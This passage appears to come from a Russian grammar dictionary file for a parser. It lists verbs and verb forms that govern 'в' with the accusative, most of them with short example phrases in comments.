rus_verbs:впендюривать{}, // впендюривать штукенцию в агрегат
rus_verbs:впендюрить{}, // впендюрить штукенцию в агрегат
rus_verbs:вперивать{}, // вперивать взгляд в экран
rus_verbs:впериваться{}, // впериваться в экран
rus_verbs:вперить{}, // вперить взгляд в экран
rus_verbs:впериться{}, // впериться в экран
rus_verbs:вперять{}, // вперять взгляд в экран
rus_verbs:вперяться{}, // вперяться в экран
rus_verbs:впечатать{}, // впечатать текст в первую главу
rus_verbs:впечататься{}, // впечататься в стену
rus_verbs:впечатывать{}, // впечатывать текст в первую главу
rus_verbs:впечатываться{}, // впечатываться в стену
rus_verbs:впиваться{}, // Хищник впивается в жертву мощными зубами
rus_verbs:впитаться{}, // Жидкость впиталась в ткань
rus_verbs:впитываться{}, // Жидкость впитывается в ткань
rus_verbs:впихивать{}, // Мама впихивает в сумку кусок колбасы
rus_verbs:впихиваться{}, // Кусок колбасы впихивается в сумку
rus_verbs:впихнуть{}, // Мама впихнула кастрюлю в холодильник
rus_verbs:впихнуться{}, // Кастрюля впихнулась в холодильник
rus_verbs:вплавиться{}, // Провод вплавился в плату
rus_verbs:вплеснуть{}, // вплеснуть краситель в бак
rus_verbs:вплести{}, // вплести ленту в волосы
rus_verbs:вплестись{}, // вплестись в волосы
rus_verbs:вплетать{}, // вплетать ленты в волосы
rus_verbs:вплывать{}, // корабль вплывает в порт
rus_verbs:вплыть{}, // яхта вплыла в бухту
rus_verbs:вползать{}, // дракон вползает в пещеру
rus_verbs:вползти{}, // дракон вполз в свою пещеру
rus_verbs:впорхнуть{}, // бабочка впорхнула в окно
rus_verbs:впрессовать{}, // впрессовать деталь в плиту
rus_verbs:впрессоваться{}, // впрессоваться в плиту
rus_verbs:впрессовывать{}, // впрессовывать деталь в плиту
rus_verbs:впрессовываться{}, // впрессовываться в плиту
rus_verbs:впрыгивать{}, // Пассажир впрыгивает в вагон
rus_verbs:впрыгнуть{}, // Пассажир впрыгнул в вагон
rus_verbs:впрыскивать{}, // Форсунка впрыскивает топливо в цилиндр
rus_verbs:впрыскиваться{}, // Топливо впрыскивается форсункой в цилиндр
rus_verbs:впрыснуть{}, // Форсунка впрыснула топливную смесь в камеру сгорания
rus_verbs:впрягать{}, // впрягать лошадь в телегу
rus_verbs:впрягаться{}, // впрягаться в работу
rus_verbs:впрячь{}, // впрячь лошадь в телегу
rus_verbs:впрячься{}, // впрячься в работу
rus_verbs:впускать{}, // впускать посетителей в музей
rus_verbs:впускаться{}, // впускаться в помещение
rus_verbs:впустить{}, // впустить посетителей в музей
rus_verbs:впутать{}, // впутать кого-то во что-то
rus_verbs:впутаться{}, // впутаться во что-то
rus_verbs:впутывать{}, // впутывать кого-то во что-то
rus_verbs:впутываться{}, // впутываться во что-то
rus_verbs:врабатываться{}, // врабатываться в режим
rus_verbs:вработаться{}, // вработаться в режим
rus_verbs:врастать{}, // врастать в кожу
rus_verbs:врасти{}, // врасти в кожу
инфинитив:врезать{ вид:несоверш }, // врезать замок в дверь
инфинитив:врезать{ вид:соверш },
глагол:врезать{ вид:несоверш },
глагол:врезать{ вид:соверш },
деепричастие:врезая{},
деепричастие:врезав{},
прилагательное:врезанный{},
инфинитив:врезаться{ вид:несоверш }, // врезаться в стену
инфинитив:врезаться{ вид:соверш },
глагол:врезаться{ вид:несоверш },
деепричастие:врезаясь{},
деепричастие:врезавшись{},
rus_verbs:врубить{}, // врубить в нагрузку
rus_verbs:врываться{}, // врываться в здание
rus_verbs:закачивать{}, // Насос закачивает топливо в бак
rus_verbs:ввезти{}, // Предприятие ввезло товар в страну
rus_verbs:вверстать{}, // Дизайнер вверстал блок в страницу
rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу
rus_verbs:вверстываться{}, // Блок тяжело вверстывается в эту страницу
rus_verbs:ввивать{}, // Женщина ввивает полоску в косу
rus_verbs:вволакиваться{}, // Пойманная мышь вволакивается котиком в дом
rus_verbs:вволочь{}, // Кот вволок в дом пойманную крысу
rus_verbs:вдергивать{}, // приспособление вдергивает нитку в игольное ушко
rus_verbs:вдернуть{}, // приспособление вдернуло нитку в игольное ушко
rus_verbs:вдувать{}, // Челоек вдувает воздух в легкие второго человека
rus_verbs:вдуваться{}, // Воздух вдувается в легкие человека
rus_verbs:вламываться{}, // Полиция вламывается в квартиру
rus_verbs:вовлекаться{}, // трудные подростки вовлекаются в занятие спортом
rus_verbs:вовлечь{}, // вовлечь трудных подростков в занятие спортом
rus_verbs:вовлечься{}, // вовлечься в занятие спортом
rus_verbs:спуститься{}, // спуститься в подвал
rus_verbs:спускаться{}, // спускаться в подвал
rus_verbs:отправляться{}, // отправляться в дальнее плавание
инфинитив:эмитировать{ вид:соверш }, // Поверхность эмитирует электроны в пространство
инфинитив:эмитировать{ вид:несоверш },
глагол:эмитировать{ вид:соверш },
глагол:эмитировать{ вид:несоверш },
деепричастие:эмитируя{},
деепричастие:эмитировав{},
прилагательное:эмитировавший{ вид:несоверш },
// прилагательное:эмитировавший{ вид:соверш },
прилагательное:эмитирующий{},
прилагательное:эмитируемый{},
прилагательное:эмитированный{},
инфинитив:этапировать{вид:несоверш}, // Преступника этапировали в колонию
инфинитив:этапировать{вид:соверш},
глагол:этапировать{вид:несоверш},
глагол:этапировать{вид:соверш},
деепричастие:этапируя{},
прилагательное:этапируемый{},
прилагательное:этапированный{},
rus_verbs:этапироваться{}, // Преступники этапируются в колонию
rus_verbs:баллотироваться{}, // они баллотировались в жюри
rus_verbs:бежать{}, // Олигарх с семьей любовницы бежал в другую страну
rus_verbs:бросать{}, // Они бросали в фонтан медные монетки
rus_verbs:бросаться{}, // Дети бросались в воду с моста
rus_verbs:бросить{}, // Он бросил в фонтан медную монетку
rus_verbs:броситься{}, // самоубийца бросился с моста в воду
rus_verbs:превратить{}, // Найден белок, который превратит человека в супергероя
rus_verbs:буксировать{}, // Буксир буксирует танкер в порт
rus_verbs:буксироваться{}, // Сухогруз буксируется в порт
rus_verbs:вбегать{}, // Курьер вбегает в дверь
rus_verbs:вбежать{}, // Курьер вбежал в дверь
rus_verbs:вбетонировать{}, // Опора была вбетонирована в пол
rus_verbs:вбивать{}, // Мастер вбивает штырь в плиту
rus_verbs:вбиваться{}, // Штырь вбивается в плиту
rus_verbs:вбирать{}, // Вата вбирает в себя влагу
rus_verbs:вбить{}, // Ученик вбил в доску маленький гвоздь
rus_verbs:вбрасывать{}, // Арбитр вбрасывает мяч в игру
rus_verbs:вбрасываться{}, // Мяч вбрасывается в игру
rus_verbs:вбросить{}, // Судья вбросил мяч в игру
rus_verbs:вбуравиться{}, // Сверло вбуравилось в бетон
rus_verbs:вбуравливаться{}, // Сверло вбуравливается в бетон
rus_verbs:вбухиваться{}, // Много денег вбухиваются в этот проект
rus_verbs:вваливаться{}, // Человек вваливается в кабинет врача
rus_verbs:ввалить{}, // Грузчики ввалили мешок в квартиру
rus_verbs:ввалиться{}, // Человек ввалился в кабинет терапевта
rus_verbs:вваривать{}, // Робот вваривает арматурину в плиту
rus_verbs:ввариваться{}, // Арматура вваривается в плиту
rus_verbs:вварить{}, // Робот вварил арматурину в плиту
rus_verbs:влезть{}, // Предприятие ввезло товар в страну
rus_verbs:ввернуть{}, // Вверни новую лампочку в люстру
rus_verbs:ввернуться{}, // Лампочка легко ввернулась в патрон
rus_verbs:ввертывать{}, // Электрик ввертывает лампочку в патрон
rus_verbs:ввертываться{}, // Лампочка легко ввертывается в патрон
rus_verbs:вверять{}, // Пациент вверяет свою жизнь в руки врача
rus_verbs:вверяться{}, // Пациент вверяется в руки врача
rus_verbs:ввести{}, // Агенство ввело своего представителя в совет директоров
rus_verbs:ввиваться{}, // полоска ввивается в косу
rus_verbs:ввинтить{}, // Отвертка ввинтила шуруп в дерево
rus_verbs:ввинтиться{}, // Шуруп ввинтился в дерево
rus_verbs:ввинчивать{}, // Рука ввинчивает саморез в стену
rus_verbs:ввинчиваться{}, // Саморез ввинчивается в стену
rus_verbs:вводить{}, // Агенство вводит своего представителя в совет директоров
rus_verbs:вводиться{}, // Представитель агенства вводится в совет директоров
// rus_verbs:ввозить{}, // Фирма ввозит в страну станки и сырье
rus_verbs:ввозиться{}, // Станки и сырье ввозятся в страну
rus_verbs:вволакивать{}, // Пойманная мышь вволакивается котиком в дом
rus_verbs:вворачивать{}, // Электрик вворачивает новую лампочку в патрон
rus_verbs:вворачиваться{}, // Новая лампочка легко вворачивается в патрон
rus_verbs:ввязаться{}, // Разведрота ввязалась в бой
rus_verbs:ввязываться{}, // Передовые части ввязываются в бой
rus_verbs:вглядеться{}, // Охранник вгляделся в темный коридор
rus_verbs:вглядываться{}, // Охранник внимательно вглядывается в монитор
rus_verbs:вгонять{}, // Эта музыка вгоняет меня в депрессию
rus_verbs:вгрызаться{}, // Зонд вгрызается в поверхность астероида
rus_verbs:вгрызться{}, // Зонд вгрызся в поверхность астероида
rus_verbs:вдаваться{}, // Вы не должны вдаваться в юридические детали
rus_verbs:вдвигать{}, // Робот вдвигает контейнер в ячейку
rus_verbs:вдвигаться{}, // Контейнер вдвигается в ячейку
rus_verbs:вдвинуть{}, // манипулятор вдвинул деталь в печь
rus_verbs:вдвинуться{}, // деталь вдвинулась в печь
rus_verbs:вдевать{}, // портниха быстро вдевает нитку в иголку
rus_verbs:вдеваться{}, // нитка быстро вдевается в игольное ушко
rus_verbs:вдеть{}, // портниха быстро вдела нитку в игольное ушко
rus_verbs:вдеться{}, // нитка быстро вделась в игольное ушко
rus_verbs:вделать{}, // мастер вделал розетку в стену
rus_verbs:вделывать{}, // мастер вделывает выключатель в стену
rus_verbs:вделываться{}, // кронштейн вделывается в стену
rus_verbs:вдергиваться{}, // нитка легко вдергивается в игольное ушко
rus_verbs:вдернуться{}, // нитка легко вдернулась в игольное ушко
rus_verbs:вдолбить{}, // Американцы обещали вдолбить страну в каменный век
rus_verbs:вдумываться{}, // Мальчик обычно не вдумывался в сюжет фильмов
rus_verbs:вдыхать{}, // мы вдыхаем в себя весь этот смог
rus_verbs:вдыхаться{}, // Весь этот смог вдыхается в легкие
rus_verbs:вернуть{}, // Книгу надо вернуть в библиотеку
rus_verbs:вернуться{}, // Дети вернулись в библиотеку
rus_verbs:вжаться{}, // Водитель вжался в кресло
rus_verbs:вживаться{}, // Актер вживается в новую роль
rus_verbs:вживить{}, // Врачи вживили стимулятор в тело пациента
rus_verbs:вживиться{}, // Стимулятор вживился в тело пациента
rus_verbs:вживлять{}, // Врачи вживляют стимулятор в тело пациента
rus_verbs:вживляться{}, // Стимулятор вживляется в тело
rus_verbs:вжиматься{}, // Видитель инстинктивно вжимается в кресло
rus_verbs:вжиться{}, // Актер вжился в свою новую роль
rus_verbs:взвиваться{}, // Воздушный шарик взвивается в небо
rus_verbs:взвинтить{}, // Кризис взвинтил цены в небо
rus_verbs:взвинтиться{}, // Цены взвинтились в небо
rus_verbs:взвинчивать{}, // Кризис взвинчивает цены в небо
rus_verbs:взвинчиваться{}, // Цены взвинчиваются в небо
rus_verbs:взвиться{}, // Шарики взвились в небо
rus_verbs:взлетать{}, // Экспериментальный аппарат взлетает в воздух
rus_verbs:взлететь{}, // Экспериментальный аппарат взлетел в небо
rus_verbs:взмывать{}, // шарики взмывают в небо
rus_verbs:взмыть{}, // Шарики взмыли в небо
rus_verbs:вильнуть{}, // Машина вильнула в левую сторону
rus_verbs:вкалывать{}, // Медсестра вкалывает иглу в вену
rus_verbs:вкалываться{}, // Игла вкалываться прямо в вену
rus_verbs:вкапывать{}, // рабочий вкапывает сваю в землю
rus_verbs:вкапываться{}, // Свая вкапывается в землю
rus_verbs:вкатить{}, // рабочие вкатили бочку в гараж
rus_verbs:вкатиться{}, // машина вкатилась в гараж
rus_verbs:вкатывать{}, // рабочик вкатывают бочку в гараж
rus_verbs:вкатываться{}, // машина вкатывается в гараж
rus_verbs:вкачать{}, // Механики вкачали в бак много топлива
rus_verbs:вкачивать{}, // Насос вкачивает топливо в бак
rus_verbs:вкачиваться{}, // Топливо вкачивается в бак
rus_verbs:вкидать{}, // Манипулятор вкидал груз в контейнер
rus_verbs:вкидывать{}, // Манипулятор вкидывает груз в контейнер
rus_verbs:вкидываться{}, // Груз вкидывается в контейнер
rus_verbs:вкладывать{}, // Инвестор вкладывает деньги в акции
rus_verbs:вкладываться{}, // Инвестор вкладывается в акции
rus_verbs:вклеивать{}, // Мальчик вклеивает картинку в тетрадь
rus_verbs:вклеиваться{}, // Картинка вклеивается в тетрадь
rus_verbs:вклеить{}, // Мальчик вклеил картинку в тетрадь
rus_verbs:вклеиться{}, // Картинка вклеилась в тетрадь
rus_verbs:вклепать{}, // Молоток вклепал заклепку в лист
rus_verbs:вклепывать{}, // Молоток вклепывает заклепку в лист
rus_verbs:вклиниваться{}, // Машина вклинивается в поток
rus_verbs:вклиниться{}, // машина вклинилась в поток
rus_verbs:включать{}, // Команда включает компьютер в сеть
rus_verbs:включаться{}, // Машина включается в глобальную сеть
rus_verbs:включить{}, // Команда включила компьютер в сеть
rus_verbs:включиться{}, // Компьютер включился в сеть
rus_verbs:вколачивать{}, // Столяр вколачивает гвоздь в доску
rus_verbs:вколачиваться{}, // Гвоздь вколачивается в доску
rus_verbs:вколотить{}, // Столяр вколотил гвоздь в доску
rus_verbs:вколоть{}, // Медсестра вколола в мышцу лекарство
rus_verbs:вкопать{}, // Рабочие вкопали сваю в землю
rus_verbs:вкрадываться{}, // Ошибка вкрадывается в расчеты
rus_verbs:вкраивать{}, // Портниха вкраивает вставку в юбку
rus_verbs:вкраиваться{}, // Вставка вкраивается в юбку
rus_verbs:вкрасться{}, // Ошибка вкралась в расчеты
rus_verbs:вкрутить{}, // Электрик вкрутил лампочку в патрон
rus_verbs:вкрутиться{}, // лампочка легко вкрутилась в патрон
rus_verbs:вкручивать{}, // Электрик вкручивает лампочку в патрон
rus_verbs:вкручиваться{}, // Лампочка легко вкручивается в патрон
rus_verbs:влазить{}, // Разъем влазит в отверствие
rus_verbs:вламывать{}, // Полиция вламывается в квартиру
rus_verbs:влетать{}, // Самолет влетает в грозовой фронт
rus_verbs:влететь{}, // Самолет влетел в грозовой фронт
rus_verbs:вливать{}, // Механик вливает масло в картер
rus_verbs:вливаться{}, // Масло вливается в картер
rus_verbs:влипать{}, // Эти неудачники постоянно влипают в разные происшествия
rus_verbs:влипнуть{}, // Эти неудачники опять влипли в неприятности
rus_verbs:влить{}, // Механик влил свежее масло в картер
rus_verbs:влиться{}, // Свежее масло влилось в бак
rus_verbs:вложить{}, // Инвесторы вложили в эти акции большие средства
rus_verbs:вложиться{}, // Инвесторы вложились в эти акции
rus_verbs:влюбиться{}, // Коля влюбился в Олю
rus_verbs:влюблять{}, // Оля постоянно влюбляла в себя мальчиков
rus_verbs:влюбляться{}, // Оля влюбляется в спортсменов
rus_verbs:вляпаться{}, // Коля вляпался в неприятность
rus_verbs:вляпываться{}, // Коля постоянно вляпывается в неприятности
rus_verbs:вменить{}, // вменить в вину
rus_verbs:вменять{}, // вменять в обязанность
rus_verbs:вмерзать{}, // Колеса вмерзают в лед
rus_verbs:вмерзнуть{}, // Колеса вмерзли в лед
rus_verbs:вмести{}, // вмести в дом
rus_verbs:вместить{}, // вместить в ёмкость
rus_verbs:вместиться{}, // Прибор не вместился в зонд
rus_verbs:вмешаться{}, // Начальник вмешался в конфликт
rus_verbs:вмешивать{}, // Не вмешивай меня в это дело
rus_verbs:вмешиваться{}, // Начальник вмешивается в переговоры
rus_verbs:вмещаться{}, // Приборы не вмещаются в корпус
rus_verbs:вминать{}, // вминать в корпус
rus_verbs:вминаться{}, // кронштейн вминается в корпус
rus_verbs:вмонтировать{}, // Конструкторы вмонтировали в корпус зонда новые приборы
rus_verbs:вмонтироваться{}, // Новые приборы легко вмонтировались в корпус зонда
rus_verbs:вмораживать{}, // Установка вмораживает сваи в грунт
rus_verbs:вмораживаться{}, // Сваи вмораживаются в грунт
rus_verbs:вморозить{}, // Установка вморозила сваи в грунт
rus_verbs:вмуровать{}, // Сейф был вмурован в стену
rus_verbs:вмуровывать{}, // вмуровывать сейф в стену
rus_verbs:вмуровываться{}, // сейф вмуровывается в бетонную стену
rus_verbs:внедрить{}, // внедрить инновацию в производство
rus_verbs:внедриться{}, // Шпион внедрился в руководство
rus_verbs:внедрять{}, // внедрять инновации в производство
rus_verbs:внедряться{}, // Шпионы внедряются в руководство
rus_verbs:внести{}, // внести коробку в дом
rus_verbs:внестись{}, // внестись в список приглашенных гостей
rus_verbs:вникать{}, // Разработчик вникает в детали задачи
rus_verbs:вникнуть{}, // Дизайнер вник в детали задачи
rus_verbs:вносить{}, // вносить новое действующее лицо в список главных героев
rus_verbs:вноситься{}, // вноситься в список главных персонажей
rus_verbs:внюхаться{}, // Пёс внюхался в ароматы леса
rus_verbs:внюхиваться{}, // Пёс внюхивается в ароматы леса
rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями
rus_verbs:вовлекать{}, // вовлекать трудных подростков в занятие спортом
rus_verbs:вогнать{}, // вогнал человека в тоску
rus_verbs:водворить{}, // водворить преступника в тюрьму
rus_verbs:возвернуть{}, // возвернуть в родную стихию
rus_verbs:возвернуться{}, // возвернуться в родную стихию
rus_verbs:возвести{}, // возвести число в четную степень
rus_verbs:возводить{}, // возводить число в четную степень
rus_verbs:возводиться{}, // число возводится в четную степень
rus_verbs:возвратить{}, // возвратить коров в стойло
rus_verbs:возвратиться{}, // возвратиться в родной дом
rus_verbs:возвращать{}, // возвращать коров в стойло
rus_verbs:возвращаться{}, // возвращаться в родной дом
rus_verbs:войти{}, // войти в галерею славы
rus_verbs:вонзать{}, // Коля вонзает вилку в котлету
rus_verbs:вонзаться{}, // Вилка вонзается в котлету
rus_verbs:вонзить{}, // Коля вонзил вилку в котлету
rus_verbs:вонзиться{}, // Вилка вонзилась в сочную котлету
rus_verbs:воплотить{}, // Коля воплотил свои мечты в реальность
rus_verbs:воплотиться{}, // Мечты воплотились в реальность
rus_verbs:воплощать{}, // Коля воплощает мечты в реальность
rus_verbs:воплощаться{}, // Мечты иногда воплощаются в реальность
rus_verbs:ворваться{}, // Перемены неожиданно ворвались в размеренную жизнь
rus_verbs:воспарить{}, // Душа воспарила в небо
rus_verbs:воспарять{}, // Душа воспаряет в небо
rus_verbs:врыть{}, // врыть опору в землю
rus_verbs:врыться{}, // врыться в землю
rus_verbs:всадить{}, // всадить пулю в сердце
rus_verbs:всаживать{}, // всаживать нож в бок
rus_verbs:всасывать{}, // всасывать воду в себя
rus_verbs:всасываться{}, // всасываться в ёмкость
rus_verbs:вселить{}, // вселить надежду в кого-либо
rus_verbs:вселиться{}, // вселиться в пустующее здание
rus_verbs:вселять{}, // вселять надежду в кого-то
rus_verbs:вселяться{}, // вселяться в пустующее здание
rus_verbs:вскидывать{}, // вскидывать руку в небо
rus_verbs:вскинуть{}, // вскинуть руку в небо
rus_verbs:вслушаться{}, // вслушаться в звуки
rus_verbs:вслушиваться{}, // вслушиваться в шорох
rus_verbs:всматриваться{}, // всматриваться в темноту
rus_verbs:всмотреться{}, // всмотреться в темень
rus_verbs:всовывать{}, // всовывать палец в отверстие
rus_verbs:всовываться{}, // всовываться в форточку
rus_verbs:всосать{}, // всосать жидкость в себя
rus_verbs:всосаться{}, // всосаться в кожу
rus_verbs:вставить{}, // вставить ключ в замок
rus_verbs:вставлять{}, // вставлять ключ в замок
rus_verbs:встраивать{}, // встраивать черный ход в систему защиты
rus_verbs:встраиваться{}, // встраиваться в систему безопасности
rus_verbs:встревать{}, // встревать в разговор
rus_verbs:встроить{}, // встроить секретный модуль в систему безопасности
rus_verbs:встроиться{}, // встроиться в систему безопасности
rus_verbs:встрять{}, // встрять в разговор
rus_verbs:вступать{}, // вступать в действующую армию
rus_verbs:вступить{}, // вступить в действующую армию
rus_verbs:всунуть{}, // всунуть палец в отверстие
rus_verbs:всунуться{}, // всунуться в форточку
инфинитив:всыпать{вид:соверш}, // всыпать порошок в контейнер
инфинитив:всыпать{вид:несоверш},
глагол:всыпать{вид:соверш},
глагол:всыпать{вид:несоверш},
деепричастие:всыпав{},
деепричастие:всыпая{},
прилагательное:всыпавший{ вид:соверш },
// прилагательное:всыпавший{ вид:несоверш },
прилагательное:всыпанный{},
// прилагательное:всыпающий{},
инфинитив:всыпаться{ вид:несоверш}, // всыпаться в контейнер
// инфинитив:всыпаться{ вид:соверш},
// глагол:всыпаться{ вид:соверш},
глагол:всыпаться{ вид:несоверш},
// деепричастие:всыпавшись{},
деепричастие:всыпаясь{},
// прилагательное:всыпавшийся{ вид:соверш },
// прилагательное:всыпавшийся{ вид:несоверш },
// прилагательное:всыпающийся{},
rus_verbs:вталкивать{}, // вталкивать деталь в ячейку
rus_verbs:вталкиваться{}, // вталкиваться в ячейку
rus_verbs:втаптывать{}, // втаптывать в грязь
rus_verbs:втаптываться{}, // втаптываться в грязь
rus_verbs:втаскивать{}, // втаскивать мешок в комнату
rus_verbs:втаскиваться{}, // втаскиваться в комнату
rus_verbs:втащить{}, // втащить мешок в комнату
rus_verbs:втащиться{}, // втащиться в комнату
rus_verbs:втекать{}, // втекать в бутылку
rus_verbs:втемяшивать{}, // втемяшивать в голову
rus_verbs:втемяшиваться{}, // втемяшиваться в голову
rus_verbs:втемяшить{}, // втемяшить в голову
rus_verbs:втемяшиться{}, // втемяшиться в голову
rus_verbs:втереть{}, // втереть крем в кожу
rus_verbs:втереться{}, // втереться в кожу
rus_verbs:втесаться{}, // втесаться в группу
rus_verbs:втесывать{}, // втесывать в группу
rus_verbs:втесываться{}, // втесываться в группу
rus_verbs:втечь{}, // втечь в бак
rus_verbs:втирать{}, // втирать крем в кожу
rus_verbs:втираться{}, // втираться в кожу
rus_verbs:втискивать{}, // втискивать сумку в вагон
rus_verbs:втискиваться{}, // втискиваться в переполненный вагон
rus_verbs:втиснуть{}, // втиснуть сумку в вагон
rus_verbs:втиснуться{}, // втиснуться в переполненный вагон метро
rus_verbs:втолкать{}, // втолкать коляску в лифт
rus_verbs:втолкаться{}, // втолкаться в вагон метро
rus_verbs:втолкнуть{}, // втолкнуть коляску в лифт
rus_verbs:втолкнуться{}, // втолкнуться в вагон метро
rus_verbs:втолочь{}, // втолочь в смесь
rus_verbs:втоптать{}, // втоптать цветы в землю
rus_verbs:вторгаться{}, // вторгаться в чужую зону
rus_verbs:вторгнуться{}, // вторгнуться в частную жизнь
rus_verbs:втравить{}, // втравить кого-то в неприятности
rus_verbs:втравливать{}, // втравливать кого-то в неприятности
rus_verbs:втрамбовать{}, // втрамбовать камни в землю
rus_verbs:втрамбовывать{}, // втрамбовывать камни в землю
rus_verbs:втрамбовываться{}, // втрамбовываться в землю
rus_verbs:втрескаться{}, // втрескаться в кого-то
rus_verbs:втрескиваться{}, // втрескиваться в кого-либо
rus_verbs:втыкать{}, // втыкать вилку в котлетку
rus_verbs:втыкаться{}, // втыкаться в розетку
rus_verbs:втюриваться{}, // втюриваться в кого-либо
rus_verbs:втюриться{}, // втюриться в кого-либо
rus_verbs:втягивать{}, // втягивать что-то в себя
rus_verbs:втягиваться{}, // втягиваться в себя
rus_verbs:втянуться{}, // втянуться в себя
rus_verbs:вцементировать{}, // вцементировать сваю в фундамент
rus_verbs:вчеканить{}, // вчеканить надпись в лист
rus_verbs:вчитаться{}, // вчитаться внимательнее в текст
rus_verbs:вчитываться{}, // вчитываться внимательнее в текст
rus_verbs:вчувствоваться{}, // вчувствоваться в роль
rus_verbs:вшагивать{}, // вшагивать в новую жизнь
rus_verbs:вшагнуть{}, // вшагнуть в новую жизнь
rus_verbs:вшивать{}, // вшивать заплату в рубашку
rus_verbs:вшиваться{}, // вшиваться в ткань
rus_verbs:вшить{}, // вшить заплату в ткань
rus_verbs:въедаться{}, // въедаться в мякоть
rus_verbs:въезжать{}, // въезжать в гараж
rus_verbs:въехать{}, // въехать в гараж
rus_verbs:выиграть{}, // Коля выиграл в шахматы
rus_verbs:выигрывать{}, // Коля часто выигрывает у меня в шахматы
rus_verbs:выкладывать{}, // выкладывать в общий доступ
rus_verbs:выкладываться{}, // выкладываться в общий доступ
rus_verbs:выкрасить{}, // выкрасить машину в розовый цвет
rus_verbs:выкраситься{}, // выкраситься в дерзкий розовый цвет
rus_verbs:выкрашивать{}, // выкрашивать волосы в красный цвет
rus_verbs:выкрашиваться{}, // выкрашиваться в красный цвет
rus_verbs:вылезать{}, // вылезать в открытое пространство
rus_verbs:вылезти{}, // вылезти в открытое пространство
rus_verbs:выливать{}, // выливать в бутылку
rus_verbs:выливаться{}, // выливаться в ёмкость
rus_verbs:вылить{}, // вылить отходы в канализацию
rus_verbs:вылиться{}, // Топливо вылилось в воду
rus_verbs:выложить{}, // выложить в общий доступ
rus_verbs:выпадать{}, // выпадать в осадок
rus_verbs:выпрыгивать{}, // выпрыгивать в окно
rus_verbs:выпрыгнуть{}, // выпрыгнуть в окно
rus_verbs:выродиться{}, // выродиться в жалкое подобие
rus_verbs:вырождаться{}, // вырождаться в жалкое подобие славных предков
rus_verbs:высеваться{}, // высеваться в землю
rus_verbs:высеять{}, // высеять в землю
rus_verbs:выслать{}, // выслать в страну постоянного пребывания
rus_verbs:высморкаться{}, // высморкаться в платок
rus_verbs:высморкнуться{}, // высморкнуться в платок
rus_verbs:выстреливать{}, // выстреливать в цель
rus_verbs:выстреливаться{}, // выстреливаться в цель
rus_verbs:выстрелить{}, // выстрелить в цель
rus_verbs:вытекать{}, // вытекать в озеро
rus_verbs:вытечь{}, // вытечь в воду
rus_verbs:смотреть{}, // смотреть в будущее
rus_verbs:подняться{}, // подняться в лабораторию
rus_verbs:послать{}, // послать в магазин
rus_verbs:слать{}, // слать в неизвестность
rus_verbs:добавить{}, // добавить в суп
rus_verbs:пройти{}, // пройти в лабораторию
rus_verbs:положить{}, // положить в ящик
rus_verbs:прислать{}, // прислать в полицию
rus_verbs:упасть{}, // упасть в пропасть
инфинитив:писать{ aux stress="пис^ать" }, // писать в газету
инфинитив:писать{ aux stress="п^исать" }, // писать в штанишки
глагол:писать{ aux stress="п^исать" },
глагол:писать{ aux stress="пис^ать" },
деепричастие:писая{},
прилагательное:писавший{ aux stress="п^исавший" }, // писавший в штанишки
прилагательное:писавший{ aux stress="пис^авший" }, // писавший в газету
rus_verbs:собираться{}, // собираться в поход
rus_verbs:звать{}, // звать в ресторан
rus_verbs:направиться{}, // направиться в ресторан
rus_verbs:отправиться{}, // отправиться в ресторан
rus_verbs:поставить{}, // поставить в угол
rus_verbs:целить{}, // целить в мишень
rus_verbs:попасть{}, // попасть в переплет
rus_verbs:ударить{}, // ударить в больное место
rus_verbs:закричать{}, // закричать в микрофон
rus_verbs:опустить{}, // опустить в воду
rus_verbs:принести{}, // принести в дом бездомного щенка
rus_verbs:отдать{}, // отдать в хорошие руки
rus_verbs:ходить{}, // ходить в школу
rus_verbs:уставиться{}, // уставиться в экран
rus_verbs:приходить{}, // приходить в бешенство
rus_verbs:махнуть{}, // махнуть в Италию
rus_verbs:сунуть{}, // сунуть в замочную скважину
rus_verbs:явиться{}, // явиться в расположение части
rus_verbs:уехать{}, // уехать в город
rus_verbs:целовать{}, // целовать в лобик
rus_verbs:повести{}, // повести в бой
rus_verbs:опуститься{}, // опуститься в кресло
rus_verbs:передать{}, // передать в архив
rus_verbs:побежать{}, // побежать в школу
rus_verbs:стечь{}, // стечь в воду
rus_verbs:уходить{}, // уходить добровольцем в армию
rus_verbs:привести{}, // привести в дом
rus_verbs:шагнуть{}, // шагнуть в неизвестность
rus_verbs:собраться{}, // собраться в поход
rus_verbs:заглянуть{}, // заглянуть в основу
rus_verbs:поспешить{}, // поспешить в церковь
rus_verbs:поцеловать{}, // поцеловать в лоб
rus_verbs:перейти{}, // перейти в высшую лигу
rus_verbs:поверить{}, // поверить в искренность
rus_verbs:глянуть{}, // глянуть в оглавление
rus_verbs:зайти{}, // зайти в кафетерий
rus_verbs:подобрать{}, // подобрать в лесу
rus_verbs:проходить{}, // проходить в помещение
rus_verbs:глядеть{}, // глядеть в глаза
rus_verbs:пригласить{}, // пригласить в театр
rus_verbs:позвать{}, // позвать в класс
rus_verbs:усесться{}, // усесться в кресло
rus_verbs:поступить{}, // поступить в институт
rus_verbs:лечь{}, // лечь в постель
rus_verbs:поклониться{}, // поклониться в пояс
rus_verbs:потянуться{}, // потянуться в лес
rus_verbs:колоть{}, // колоть в ягодицу
rus_verbs:присесть{}, // присесть в кресло
rus_verbs:оглядеться{}, // оглядеться в зеркало
rus_verbs:поглядеть{}, // поглядеть в зеркало
rus_verbs:превратиться{}, // превратиться в лягушку
rus_verbs:принимать{}, // принимать во внимание
rus_verbs:звонить{}, // звонить в колокола
rus_verbs:привезти{}, // привезти в гостиницу
rus_verbs:рухнуть{}, // рухнуть в пропасть
rus_verbs:пускать{}, // пускать в дело
rus_verbs:отвести{}, // отвести в больницу
rus_verbs:сойти{}, // сойти в ад
rus_verbs:набрать{}, // набрать в команду
rus_verbs:собрать{}, // собрать в кулак
rus_verbs:двигаться{}, // двигаться в каюту
rus_verbs:падать{}, // падать в область нуля
rus_verbs:полезть{}, // полезть в драку
rus_verbs:направить{}, // направить в стационар
rus_verbs:приводить{}, // приводить в чувство
rus_verbs:толкнуть{}, // толкнуть в бок
rus_verbs:кинуться{}, // кинуться в драку
rus_verbs:ткнуть{}, // ткнуть в глаз
rus_verbs:заключить{}, // заключить в объятия
rus_verbs:подниматься{}, // подниматься в небо
rus_verbs:расти{}, // расти в глубину
rus_verbs:налить{}, // налить в кружку
rus_verbs:швырнуть{}, // швырнуть в бездну
rus_verbs:прыгнуть{}, // прыгнуть в дверь
rus_verbs:промолчать{}, // промолчать в тряпочку
rus_verbs:садиться{}, // садиться в кресло
rus_verbs:лить{}, // лить в кувшин
